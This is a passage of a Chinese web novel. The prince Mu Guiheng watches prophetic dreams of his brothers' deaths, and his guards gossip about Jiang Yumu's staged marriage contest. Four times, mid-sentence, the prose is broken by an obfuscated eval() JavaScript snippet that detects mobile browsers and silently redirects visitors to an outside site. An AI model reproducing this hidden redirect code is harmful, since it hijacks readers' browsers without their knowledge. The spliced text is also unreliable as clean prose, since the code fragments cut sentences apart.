一场梦做得痛快,穆归衡舒了舒筋骨,决定一鼓作气,继续探寻系统预言能力的边界。 “请选择你要观测的场景。” “怀王穆归正死时的场景。” 这个梦境比方才吵闹许多,怀王独自坐在餐桌前,竟无一人侍奉在侧。 虽是深夜,屋里却没点几盏灯,屋外反而闪着一明一灭的火光。因没有关门,刺目的火光时不时将他的脸映得赤亮。 杂乱的脚步声和哭喊声不绝于耳,都是从屋外传来的。 发生什么事了? 穆归正为什么不跑? 总不会是因为没有轿子,没有马车,他就折腾不动了吧? 面对满桌佳肴,穆归正难得没有狼吞虎咽,反而一小口一小口地细细品味着。 直到一柄长刀架上脖颈,他才停住动作。 执刀之人身着轻甲,是个陌生女子,约莫三十岁上下。少倾,怀王妃也走进了画面,站在那女子身旁足有她三倍宽,比如今的体态又丰腴了许多。 执刀女子目光炯炯,对她说道:“小殿下吩咐过,怀王怎么死,都交由怀王妃选择。” 小殿下是谁?穆归衡不解。 难道是六皇弟?如今众皇子里唯他年幼,故而被称作小殿下。 可还是说不通啊!在这个梦境里,怀王与现实中的年龄相差无几。就算胖人不易显老,给他再添上五岁,六皇弟也还不足十岁,怎么可能指挥兵士攻入怀王府呢? 穆归衡继续观察,只见怀王妃泪流满面,却不是恐惧的泪水,反而满脸写着快意。 她走到穆归正面前,双手环住他的脖颈,用了不小的力气,他的脸很快就憋得通红。 就在穆归衡以为她要亲手掐死他时,怀王妃却恨恨道:“姓穆的,念在夫妻一场的情分上,我让你吃饱了再上路,如何?哦,我差点忘了说。多吃点,我说停才能停,我若不说停,你就一直吃下去吧。哈哈哈哈哈……其实就算我方才真的忘了说,你也知道该怎么做的吧?毕竟这个规则,本就是你自己定下的呀?” 穆归衡满面惊惧,一个字也说不出来。此时此刻,桌上的山珍海味仿佛全都变成了枯骨毒药,他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389171|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想吃,只想吐。 “吃!”怀王妃端起一盆红烧肘子,直接按在穆归正脸上。 穆归正痛呼一声,铆足力气推开她,双手胡乱摩挲着抓住身旁兵士的刀刃,仿佛一心求死,迫不及待地割开了自己的喉咙。 鲜血霎时染红他华贵的衣袍,梦境却迟迟没有消散,意味着他还没有死,这份痛苦持续了很久……很久…… 醒来以后,穆归衡甚至也产生了几欲作呕的感觉。人人都道怀王与王妃恩爱非常,没想到真相竟是这样。 系统察觉他已苏醒,便问:“还继续吗?” 穆归衡深呼吸几次,毅然决然道:“继续。” “请选择你要观测的场景。” 按顺序,这次便轮到了—— “定王穆归仪死时的场景。” 穆归衡闭上双眼,等待入梦期间,忍不住猜测起来,三皇兄会是怎么死的呢? 他那样酒不离手的人,三个时辰一小醉,五个时辰一大醉,多半是喝酒喝死的吧? 又或者是喝醉以后乱闯乱撞,惹出了什么麻烦,才丢了性命? 想着想着,困意已将穆归衡渡入异境。 他睁开双眼,却没有看到穆归衡。面前仍是数百具尸骨,系统的声音再度传来。 “又观测失败了……” 穆归衡并不失望,反而欣然接受了现实。 至少,这是一条很有价值的线索,可以帮助他推断系统预言的边界。 “还继续吗?”系统问。 “继续。”穆归衡毫不犹豫。 “请选择你要观测的场景。” “安王穆归礼死时的场景。” 话音才落,枯骨便隐入浓浓黑雾,穆归衡眼前画面顷刻更改。看清之后,他着实心惊。 那是他再熟悉不过的场景——深夜,幽暗的议政殿空空荡荡,身着龙袍之人倒地不起,胸口插着一把寒光闪闪的长剑。 唯一的区别在于,这次被一剑杀死的人不是他,而是穆归礼。 为什么会发生这种变化?穆归衡一头雾水。 穆归礼穿着龙袍,难道自己死后,他也做了皇帝? 即便如此,他的死状又为何会与自己如出一辙? 思索之际,眼前的画面又动了起来。原来,穆归礼还没有彻底咽气。 “你还有话想说?”执剑之人问道。 穆归衡听到这句话,顿时汗毛倒竖,全身都起了鸡皮疙瘩。 因为那是他自己的声音。 是他亲手杀了穆归礼。 穆归礼才是这个注定二世而亡之国的第二位君主。 而他,竟然就是那个面目模糊的弑君之人? 不,不,这想法太疯狂了,穆归衡怎能轻易相信?万一这只是系统的诡计,用来迷惑他,使他掉以轻心的呢? 穆归衡逼自己尽快冷静下来,在这幅画面中抽丝剥茧,寻找其他线索。 不多时,他的目光就定在了那柄弑君之剑上。 那的确就是他自己的佩剑,千真万确,举世都找不出第二把来。 可穆归衡分明记得,前十七次观测自己的死亡场景时,他胸口插着的那柄剑比自己的剑更细,更长,剑尾还坠着一块满月状的血玉。 难道……系统预言中的未来,真的被改变了? 42. 淳护卫置辩招亲事,睿国师夜谈弄玄…… 半夜三更,太子府书房外。 值夜的护卫齐陌闲得发慌,来找石涅聊天。因怕被穆归衡听见,还特意把石涅拉出一段距离才开口。 “太子殿下这是怎么了?前几日一觉接一觉睡得不起床,今日好容易出了寝殿,怎么又一头扎进书房不出来了?”齐陌好奇道。 石涅摸摸鼻子:“你问我,我问谁去……” 齐陌见他眼神躲闪,俨然一脸心虚,立刻逼问道:“别装了,平日属你最受殿下信任,你肯定知道些什么!” 石涅轻叹一声,望着书房的方向低声道:“师兄,我觉得……我可能说错话了。” 齐陌一愣:“你说啥了?” 石涅支支吾吾半晌,才不情不愿答道:“殿下刚从寝殿里出来那会,看着心情还挺不错的。都怪我多嘴,把江小姐预备比武招亲的事告诉他了。殿下当时虽然没说什么,但是就差把郁闷两个字写在脸上了。” 齐陌听罢,收着劲往他脑袋上拍了一掌,恨铁不成钢道:“你小子嘴够松的,没事跟殿下说这些干什么?” “怪我干嘛?满京城都知道这个消息,就算我守口如瓶,但凡殿下出一趟门,不是照样会听到风声?”石涅很不服气,分辩道,“再说了,咱们现在不说,难不成要等事情无可挽回,到人家成亲那日,再提醒殿下去随礼啊?” “什么挽回不挽回的,你也想太多了吧!”齐陌朝书房方向努努嘴,“殿下要是真对江小姐有意思,怎么可能抗旨拒婚啊?” 石涅立刻反驳:“殿下要是不喜欢江小姐,为什么一听到她要招亲,就把自己关在书房里不出来?” 两个人谁也无法说服对方,只好休战,换个话题继续聊。 然而话题换来换去,终究离不开江御暮三个字。 “你说,过两日江小姐比武招亲时,会是她亲自上阵吗?会不会找个武艺高强之人代她出战?”齐陌问道。 石涅想了想:“不知道。” 齐陌接着问:“你不觉得这事很离谱吗?且不说江小姐有没有练过武、武艺如何。就算她身手还不错,体力也总是有限的吧?万一连着几天打下来,有条件不佳、心思不纯者在她体力不支时趁人之危,将她击败。难不成,江尚书还真甘心把千金嫁给他?” 石涅哂笑一声:“江家人可不傻!我打听过了,不是随便什么阿猫阿狗都能参与招亲的。报完名以后,还得经过人家的筛选才有机会上台攻擂呢。欸,师兄,你知道是谁负责筛人吗?” “谁啊?” “江家大少爷,江连镜!人家的标准可高着呢,还能害他亲姐姐掉进火坑不成?” 这回齐陌不接话了,默默盯着他打量半晌,幽幽一问:“你小子,怎么把这些事打听得里里外外清清楚楚?不会也想找人家报名吧?” 石涅瞪大双眼,辩白道:“天地良心,我打听这些事,还不是为了殿下——” 话说到一半,书房的门就被穆归衡推开。门轴转动之声在静谧的夏夜中分外清晰。 石涅与齐陌对视一眼,心里都有些没底,不知道二人方才的对话有没有落入殿下耳中。 在一众护卫中,石涅年纪最小,还带着一股子初生牛犊不怕虎的劲。有些话别人不敢说,他会说;有些问题别人不敢问,他也会问。 “殿下您终于出来了!这大半夜的,您快去睡觉吧!” “不困。”穆归衡分明一脸平静,落在他们眼里却有点山雨欲来的味道,“本宫出去走走。” “啊?这么晚了,您要出去啊?那卑职——”石涅小跑两步。 “不必跟着。”穆归衡严肃道。 石涅猛地收住脚步,险些把自己绊倒。 穆归衡的背影消失以后,石涅如鬼影般移到齐陌身边,无声无息的,吓了他一大跳。 “你干嘛呀?”齐陌拍着胸脯,一边压惊一边问道。 石涅像做贼似的,勾勾手示意他附耳过来,低声私语几句。 齐陌脸色骤变,后退半步,本能抗拒道:“你胆子也太大了吧?这要是让殿下知道,还有你好果子吃吗?” 石涅丝毫不惧:“咱不让他知道不就行了?” 齐陌嘴角一撇:“咱?” 他这就把自己强行拉入阵营了? 石涅拍拍他的肩:“师兄,你就在门口守着,以防殿下杀个回马枪。我进屋看看,尽快出来。” 齐陌万分纠结地抓了抓头发,眼睛一闭一睁,石涅就已经溜进了穆归衡的书房。 没办法,现在骑虎难下了,齐陌只能在门口帮他望风,幸而穆归衡没有折返回来。 不多时,石涅就一脸失望地走了出来。 齐陌松一口气,打趣道:“怎么样,小神探查出什么了?” 石涅白他一眼道:“你再这般阴阳怪气,我可不说了!” 齐陌失笑:“好好好,你就告诉我吧,太子殿下方才在书房里做什么来着?” 石涅长叹一声:“练字。” “练字?你确定?”齐陌很是意外,“哪有正常人大半夜不睡觉,一个人蒙头练字啊?” 石涅很不喜欢他质疑自己的态度,笃定道:“不会有错!殿下把一首七言诗反复写了百余遍,行、楷、隶、篆、草,都练了!” 齐陌摸着下巴若有所思,问道:“什么诗?你可记得内容?” 石涅失落摇头:“读不懂,要不你进去看看?” 齐陌把头摇成了拨浪鼓:“算了算了,我惜命,还是回去睡觉吧。” 石涅被拎住后领,不得不跟上他的步伐,一起离开这里。 直到躺在榻上,石涅还是没有打消好奇心。 “师兄,你听说过‘玄都花’吗?那究竟是什么花呀?”他也不管齐陌是否还醒着,便自顾自提出了问题。读不懂太子抄写百遍的诗,叫他怎么睡得着呢? 齐陌睡在对面另一张榻上,此刻深恨二人中间隔着的只是一套桌椅。 要是隔着一面墙就好了! 尽管如此,他还是强打精神回应道:“没听说过。” 石涅又问:“我只用过毛笔、炭笔、刀笔,可那‘晋笔’又是个什么笔?” 齐陌闭着眼,敷衍道:“浸笔,就是被水浸过的笔。” 石涅越问越精神:“师兄,嫂子不是万琅阁的画师吗?你可曾听她提起过一种颜色,叫什么——‘武陵色’?” 齐陌用呼噜声作出了回答。 石涅用啧啧声发出了抗议。 …… 平日热闹非凡的街市,到了深夜也不免寂寥。路两旁数不尽的灯笼都灭着,并无一丝光亮,只有一弯弦月挂在天上,即便能洒下些月光,也只是聊胜于无而已。 穆归衡虽说要出去走走,却没有想好要去哪里。沿着路七拐八拐,也不知怎么,就走到了枕闲书铺附近。 江御暮比武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409473|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招亲的擂台就设在这里。 台子才搭了两日,尚未完工。一阵风吹过,卷起几丝木屑,像深秋时节被人肆意踩碎的落叶梗。 “太子殿下?”后方忽然传来一个熟悉的声音,“您怎么也在这里?” 在转身之前,穆归衡就听出来了,那是费红英的声音。 “国师大人好眼力。”此语有些讽刺,“这里如此昏暗,本宫连你的脸都看不清,你竟然还认得出本宫的背影。” 费红英摸了摸眼前飞绡,煞有介事道:“微臣眼盲多年,自然不靠双目辨人。” 穆归衡转回身子,仰望着高过头顶的擂台问她:“你来这里做什么?” 费红英上前几步,站定在他身侧,坦言道:“微臣忽逢陛下急召,入宫议事许久,至晚方归。此处是微臣回府的必经之路,若非偶遇殿下,微臣也不会在此停留。” 穆归衡想了想,从皇宫去到国师府,的确会经过这里。 “陛下召你所议何事?”他紧接着问。 费红英故意往他身上引:“说起来,此事与殿下您也有些关系。” 穆归衡斜睨她一眼,没有回应,静待她自己往下说。 费红英干笑两声,说道:“此事说来也怪江尚书气性太大,为了挣回脸面,非要搞这么一出比武招亲,结果触怒了陛下。” 穆归衡眼神微动,尽量保持沉稳道:“陛下可是要降罪于他?或者,降罪于江府?” 费红英半真半假道:“原本是的。陛下怒急攻心,险些亲笔写下一道赐死江尚书的圣旨。若非微臣竭力劝阻,只怕江尚书此刻已是一缕亡魂了。” 这当然是在胡说八道。 事实是,她方才趁皇帝火冒三丈时,一直想方设法引导他赐死江淮照,可惜并未成功。 皇帝虽然怒极,却仍保持着最基本的理智。江御暮毕竟是太子未过门的“药炉”,如果皇帝在事成之前赐死了她的父亲,万一她因此生恨,与太子反目成仇就麻烦了。 更何况一旦江淮照身死,江御暮就要守孝三年。等她熬过了孝期,太子还不知是死是活呢。 重重顾虑之下,皇帝还是压住了怒火,决定暂时放江淮照一条生路。 但这并不意味着他愿意咽下这口气。 他已然下定决心,等一切尘埃落定后,江淮照必须为他近日的悖逆之举付出血的代价。 眼前最重要之事,是阻挠这场荒谬的比武招亲。 彼时费红英灵机一动,出言安抚皇帝道:“陛下放心,其实江小姐已经私下来求过微臣相助了。她对太子殿下一往情深,无比抗拒此次招亲。” 皇帝听罢稍稍放心,可还是有些担忧:“纵然她不愿嫁于旁人,可万一输了比武,被她父亲逼着成亲,又该如何是好?” 江御暮虽自小习武,身手不凡,但甚少在外人面前展露。皇帝还当她只会花拳绣腿,抗不过几轮就会被打下擂台。 费红英自信一笑:“微臣有一计,或许可解。” 此计不光能让皇帝安心,还能让他对费红英的“神通”更加崇敬。最重要的是,能帮江御暮在皇帝面前隐藏实力,不让他生出疑心。 皇帝忙道:“国师请讲!” 费红英故作高深:“为今之计,唯有请神上身。” 皇帝一惊,心跳陡然加快:“请什么神?上谁的身?” 费红英神秘一笑:“请武神,上江小姐之身。” 43. 千面人名唤江连镜,万事通当属林晏…… 江淮照得知皇帝无意杀他后,索性称病不上朝了。 外人都以为他还咽不下被太子羞辱的那口气,宁可得罪皇帝也要做出姿态来。 只有为数不多的自己人知道,江淮照是在为“按时撤退”做准备——如果皇帝迟迟不愿赐死,他也只能主动“病逝”了。 江连镜这几日成了大忙人,又要监督工匠们搭擂台,又要沙里淘金,筛选有资格上台与江御暮交手的“候选姐夫”。 奈何几天忙活下来,预备姐夫名单上仍旧空空如也,一个名字都没有。 “这可不能怪我啊!”面对江御暮的询问,江连镜急切分辩道,“全京城都知道皇上有意把你许配给太子,但凡是个有见识、有家世的,谁敢来淌这滩浑水啊?这几日来报名的人虽不少,却大多是身负‘三无’,癞蛤蟆想吃天鹅肉罢了!” 江御暮奇道:“何谓‘三无’?” 江连镜一根根掰起手指头,撇嘴道:“无知,无畏,身无长物。正所谓‘光脚的不怕穿鞋的’,赢了,能攀上尚书府的高枝,输了,不但不亏什么,还多了跟人吹牛说嘴的谈资。哼,我才不要给他们这个机会。就算你不会输,但若在台上被癞蛤蟆揩一把油,也够恶心好几年的。” 这些日子,三教九流什么人他都见过了,一个比一个不靠谱。甚至还有一家子祖孙三代组队来报名的,孙子才十五六岁,爷爷已经年过花甲了,带着生死状来的。这老头要是被江御暮一掌拍死在台上,也不知得讹他们多少银子。 江御暮扔下白茫茫一片的名单,漫不经心道:“也罢,既然无人可战,大不了我就在擂台上白等几日。只要等到涵州派了合适的人来,我直接输给他就是了。” 算算日子,她送出的信鸽应该已经到涵州了。长公主手下不乏可用之人,只要随便挑一个出来,快马加鞭赶赴京城,也费不了多少时日。 江连镜却不赞同:“若是如此,岂不容易叫人怀疑咱们并非诚心招亲?” “原来你能想到这一层啊!”江御暮皮笑肉不笑道,“那还不快把标准放宽松些,左右是做戏,随便挑几个举止得体、样貌端正的人出来便是了,那么严格做什么?又不是真给你挑姐夫!” 江连镜不太情愿,在一筐名帖里扒拉半晌,忽然抬起头提议道:“欸,既然是做戏,不是真要给你选夫,我倒有个一举两得的主意。不但能找到上得了台面的人跟你交手,还能保证对方打不过你,不会扰乱你后续的计划。” “什么主意?”江御暮半信半疑地问,生怕他又搞出来什么幺蛾子。 江连镜一脸认真:“让我亲自来跟你比试,不就行了?只要换一套衣服、一副面具,就是一个新身份,外人不会看出破绽的!” 此话一出,江御暮看他的眼神都变了,好像有些嫌弃:“你……行吗?” 江连镜对她的眼神很不满:“怎么不行?只要上了擂台,我就不是江连镜了。穿得富贵些,就是豪强财主;穿得寒酸些,就是赶考书生;穿得潇洒些,就是神秘侠客。比起外头那些来路不明的人,我这样知根知底的才更适合同你搭戏吧!” 江御暮看着他如此严肃的样子,反而有些想笑:“侠客戴面具也就罢了,财主和书生也蒙面,难道不惹人怀疑吗?” 江连镜刚才还自信满满,被她指出这一点后,忽然有些泄气,斜靠在桌边挠挠头,心念一动,又把方才那口气顶了回来。 “这好办,找费姨帮忙不就行了?”他兴致勃勃,仿佛长大后突然想起幼时埋在树下的宝藏,“她的易容术可是一绝。明明还不满四十岁,却能把自己扮成年过古稀的老人,从来没被外人察觉过异样。有她相助,我还不是想做财主做财主,想做书生做书生?” 小时候,江连镜知道“费奶奶”其实是“费姨”时,完全相信了母亲糊弄他的说辞—— “你费姨命苦,一个人带着红英在京城行医,也没个依靠。之所以扮成老人,还不是担心年轻寡妇门前是非更多?更何况人们若要看病,总是更信任年纪大的郎中。她作这副打扮,也是想多赚些钱糊口罢了。” 如今细想此事,江连镜不由怀疑——费家母女会不会与父亲一样,也是“故国遗民”,都听命于蛰伏在涵州的长公主?费杏林不以真面目示人,可能是怕被京中故人认出真实身份? 正因如此,江连镜才会提出向费杏林求助。如果他的猜想没错,她一定乐意帮忙。 江御暮思索许久,终于松口道:“倒是个可用的法子。” 江连镜把脑袋凑过去,笑道:“夸我。” 江御暮拍拍他的脑袋,不知怎的,总觉得看到了旺财,于是脱口道:“Goodboy.” 江连镜没听懂:“什么意思?” 江御暮的微笑无比正经:“夸你是好孩子啊。”只不过没告诉他,这句话一般是用来夸猫猫狗狗的。 江连镜刚要反驳一句“我不是孩子了”,就被江御暮打断。 “此法虽然可用,但每次改容易貌都耗时不短。比武招亲开始后,前一个人下了台,后一个人立刻便要上场,若只有你一人搭戏,实在忙不过来。”她说。 江连镜一愣:“那……要不我在中间插几个凑数的?” 江御暮摇头:“不必,有个人我正愁不知该怎么安置呢,正好借这个机会试探试探。” 直到此时,江连镜才知道她院里一直养着个来路不明的男人。 时异。 得知此事后,他的第一反应便是:“江御暮,你也太出格了吧!若是让父亲知晓——” 话还没说完,江御暮就打断了他:“父亲早就知道。” 江连镜的后半句话卡在喉咙里,说又说不出来,咽也咽不下去,卡了许久才缓过劲。 见到时异以后,江连镜警惕地打量着他,似乎没认出此人就是被安王派去伏击他的歹人之一。 也是,当时那些人都以黑布蒙面,未露真容,事情又过了这么久,他认不出也很正常。 前不久,时异被安王灌下的毒药折磨得形销骨立,幸而费红英妙手回春,救回了他一条性命。 在江府休养这些日子,他身上总算贴回来几层肉,终于与常人无异了,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430217|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不知武功退步了多少。 在此期间,安王又来找江御暮打听过一回,她却骗他说时异已经毒发身亡。安王脸上难得出现一抹哀色,没有深究,默默离去了。 时异从她口中得知此事后,只冷冷一哼:“他这时候又来装什么好人?” 江御暮没有随他一起抨击安王,只问:“你今后有什么打算?” 时异抬头看她一眼,很快又低头下拜,恭谨道:“幸蒙江小姐之恩,卑职才得以保全性命。小姐若不嫌弃,卑职今后愿为您效犬马之劳。” 当时江御暮心存疑虑,并未直接应下。 如今,她倒愿意给他一个机会。 …… 是夜,太子府中。 穆归衡又在书房蒙头练字,留石涅和齐陌在外头躲懒闲聊。 “师兄,你听说了吗?江家已经把比武招亲第一日的名单公布出来了。” 齐陌摇摇头,好奇道:“都有什么人呀?官多还是民多?” 石涅一手挡在嘴边,故作神秘道:“十个人,一个官都没有,全是民!” 齐陌想了想:“应该都不是平头老百姓吧?至少也得是京中巨贾,有万贯家财啊。” 石涅耸耸肩道:“名单上那些人,我一个也不认得,鬼知道他们有多少家财。不过说来也怪,十个人里,竟无一人是京城户籍。” 说着,石涅还从袖筒里抽出一个细细的纸卷,是他特意去擂台边誊抄的名单。 “你瞧——蒋濂,景州人氏;李十一,青州人氏;姜敬,涟州人氏……” 齐陌听不出个所以然来,只觉无聊,打断道:“你研究这些做什么?又不是给你选夫。” 石涅真服了他师兄这榆木脑袋,啧啧道:“你倒仔细想想,江家特意选出这些非京籍、无官身的人出来,是为了什么?” “为什么?”齐陌懒得思考。 石涅十分确信道:“肯定是为了让江小姐离京远嫁,今后不再牵涉朝中纷争。唉,只怕花轿一去便无回。咱们呐,这辈子都见不到江小姐下一面了!” 齐陌反应稍显迟钝,下意识想反驳一句“咱们为啥要见她?见不到又有啥可惋惜的?” 还没来得及发问,书房的门便哗啦一声打开,穆归衡阴沉着脸,只盯着他二人看,一句话也没有说。 齐陌这才反应过来,躬身行礼的同时狠瞪石涅一眼,意为:好小子,怪不得你方才讲话时抬高了音量,原来是故意说给太子殿下听的! 石涅也躬身行礼,同时对齐陌得意一笑,意为:我就说吧,殿下心里肯定有江小姐。这不,一激就激出来了! 穆归衡瞧不见他们的眼神官司,缓步走到石涅身前,向他伸出一只手。 石涅十分上道,什么也没问,主动把自己誊抄的名单双手奉上。 穆归衡只扫一眼便收了起来,吩咐道:“去双瑛布庄,请林庄主来见本宫。” 瑾州一行数日,林晏秋也该回来了。 走南闯北这些年,她去过不少地方。名单上这些人究竟是何底细,找她打听准没错。 44. 大皇姐深谙灯下黑,小护卫试做楼上…… 听见旺财在院里兴奋地叫起来,穆归衡就知道是林晏秋到了。 推开窗向外看去,只见旺财踮着急促的小碎步,围着她转个不停。 林晏秋照常穿着男装,虽是为了出门做生意方便,但相熟之人基本都知道她是女子。 可是几乎无人知晓她原名姓穆。十二岁之前,穆归衡一直唤她一声“大皇姐”。 她也是皇后的孩子,自小受尽皇帝宠爱。可是随着年纪一天天长大,她却渐渐成了皇帝的一块心病。 “不爱须眉爱红颜?天下哪有女子像你这般荒唐!” 皇帝虽然嘴上骂着,却不曾因此薄待于她。二人的关系不冷不热地维持着,皇帝总觉得等这孩子长大了,懂事了,就会明白自己的苦心。 但他下旨赐死了皇后,便相当于斩断了这段本就不甚牢靠的父女缘。 母亲枉死后,大公主终于看清了天家无情的事实,不愿再活在父皇的掌控之中,于是计划出逃。过程如何艰险自不必赘言,总之在穆归衡的掩护下,皇帝彻底失去了这个女儿的踪迹。 皇帝怎么也不会想到,这个背叛了自己的女儿并未如他所料那般亡命天涯,而是深谙“灯下黑”之道,就在京郊不远不近地扎下了脚跟。 虽然没了公主的身份庇佑,但有穆归衡暗中照应着,做点小生意也没人敢找她的麻烦。 二人虽不再以姐弟相称,但从某种意义上讲,他们的关系反而比从前更像亲人了。 因此,林晏秋从不向穆归衡行礼,说话也无甚顾忌,总是直来直去,有什么问什么。 一如此刻—— “这是什么名单?”林晏秋好奇道,“你是要暗杀他们,还是招揽他们?” 穆归衡险些喷出半口茶水,擦擦嘴道:“非也。本宫只是想着你走南闯北,见识广博,或许会对这些名字有所耳闻。” 林晏秋仔细看了几遍,摇摇头道:“全都没听说过。” 穆归衡不自知地皱起眉头,喃喃道:“怎么会呢……” 尚书选婿,就算不愿沾染朝中官吏,也不可能在寂寂无闻的素门凡流里选人吧? 正思索着,林晏秋就在他眼前打了个响指。 “你找我来,不会就是为了问这点小事吧?” 穆归衡下意识反驳:“这不是小事。” 林晏秋见他一脸严肃,便也认真起来,重新拿起那张名单说道:“你若不急,我倒可以给各地的朋友们去封信,让他们帮我查查这些人的底细。可你若着急知道,我就帮不上什么忙了。” 穆归衡犹豫片刻,叹息道:“罢了。” 这些人的底细,江家肯定查得比他认真。既然他们能通过筛选,想必不会有什么问题。 倒是他自己,有狗拿耗子多管闲事之嫌。 “你还有旁的事吗?”林晏秋不欲在京城久留,催问道,“要是没有,我就先说我的事了啊。” 穆归衡摇摇头,疑惑道:“你有何事?” 林晏秋笑叹一声:“其实也不算我自己的事,是瑛娘托我问你一句——你和江家小姐究竟是怎么回事?前些日子不是还好好的么?瑛娘还盼着喜日子早些来,给你们包个大红包呢。” 前几日去定王府送布料,定王妃又拉着陶瑛聊了许久闲天,聊得最投入的一个话题便是“太子拒婚”。 陶瑛当着定王妃的面没敢发表意见,一回布庄就拉着林晏秋感慨了半天。她那样的财迷,还是头一回因为送不出红包而遗憾不已。 穆归衡表情一滞,垂眸道:“此事与你们无关,叫她别问了。” 林晏秋虽然不认识江御暮,却也对他们的纠葛好奇得紧。可是既然穆归衡打定了主意闭口不谈,她又怎么好追根究底? 看来,只能旁敲侧击地问了。 林晏秋斟酌片刻,问道:“听说江小姐明日便要开始比武招亲了,也不知她身手如何,会不会让人欺负了去?” 穆归衡也在担心这一点,只是近乎自我安慰道:“谁敢欺负江家的女儿?” 林晏秋见他如此嘴硬,也知道问不出什么来了,只得起身告辞。 石涅送林晏秋出了府,回来便贼头贼脑地蹭到穆归衡身边。 “殿下,卑职明日想告个假,您看行吗?” 石涅就等着穆归衡问他明日有何事,谁知他压根没问,直接准了假。 石涅又往他身边蹭两步,大着胆子说道:“殿下,卑职能不能顺便给齐陌师兄也告一天假呀?” 穆归衡这才觉得不大对劲,问道:“他为何不自己来跟本宫说?” 石涅挠挠头道:“他不好意思……” 穆归衡更为疑惑:“不好意思?你们要做什么去?” 石涅佯装支支吾吾道:“去……围观江小姐比武招亲。” 穆归衡并未如他所料,露出任何明显的情绪,只颔首道:“喔,去吧。” 石涅这下有点心慌了。要知道,针对“太子殿下是否对江小姐有情”这个问题,他可是跟齐陌打了赌的,赌注并不是个小数目,足有半年的俸银呢! 天大地大,银子最大,石涅为了再添一分胜算,索性向穆归衡提议道:“殿下,您整日闷在府里也无聊得慌,不妨与卑职一起去看看?权当看戏了。” 在石涅看来,只要太子和江姑娘再见一面,就有“旧情复燃”的可能,他的银子也便保住了。 然而穆归衡毫不迟疑地拒绝道:“本宫不感兴趣,不去。” 石涅一愣,暗想道:不感兴趣?那您还特意跟林庄主打听比武名单上的十个人?这话说出去连旺财都不会信! 然而腹诽归腹诽,这些话,石涅是绝不敢当面对穆归衡讲的。虽然同僚们都觉得他胆大包天,敢在太子面前肆意妄为,但只有他自己知道何谓分寸何谓界限,知道有些玩笑能瞎开,有些实话说不得。 眼下没试探出穆归衡的心意,石涅只能揣着满腹疑窦离开书房,走到齐陌身边,诓他道:“师兄,想不想听个好消息?” 齐陌一听有好消息,就提起了几分期待:“快说快说!” 石涅打个哈欠道:“殿下心疼咱俩这几日辛苦,让咱明儿个休假一日,出去逛逛。” 这个哈欠仿佛有着极强的传染性,齐陌也没忍住打了一个,接着喜道:“殿下真是面冷心热,体恤下属。” 石涅有点心虚,干笑两声后图穷匕见:“师兄,明日咱俩一块去瞧瞧江小姐——” “打住,我可不去啊!”齐陌知道石涅想说什么,趁他还没说完就果断拒绝,“好容易多一天休沐,我还想回家陪陪娘子呢!” 石涅打了个寒颤:“噫……一提到嫂子,你这表情就能激出我一身鸡皮疙瘩。算了算了,不打扰你们这对鸳鸯,明日我自己去看!” 话虽如此,此日一早,石涅还是在擂台下的人群中看见了齐陌。 “哟,师兄,不是说不来吗?”他抱着臂,神情似有几分调侃,“怎么,嫂子是不是又忙于作画,没空搭理你啊?” 话音刚落,一个黄衣绿裙的盘发女子便从齐陌身后探出头来,玩笑道:“小石涅,你这嘴皮子可够厉害的。我不在的时候,你是不是总这么欺负你师兄啊?” “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13439582|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有没有!”石涅瞬间变得乖巧,“嫂子你误会了,我哪敢欺负师兄啊!我们师门一向最注重长幼尊卑了……” 此时此刻,齐陌的微笑里透着得意。人高马大的他倚在矮他半头的娘子身边,简直安全感十足。 于是他牵住她的手,轻轻捏了一捏,向石涅半炫耀半说明道:“你嫂子想来围观招亲,我当然要陪她来了。” 石涅赔笑道:“还是嫂子说话好使!” 说完又凑到齐陌耳边:“师兄,你们小两口浓情蜜意,我杵在这实在碍眼得慌。干脆这样吧,我去后头的茶楼里点壶茶,要个座,既能在二楼看他们比武,又不打扰你们,如何?” 齐陌巴不得他赶快走,只是不敢相信:“你何时变得这么通情达理了?” 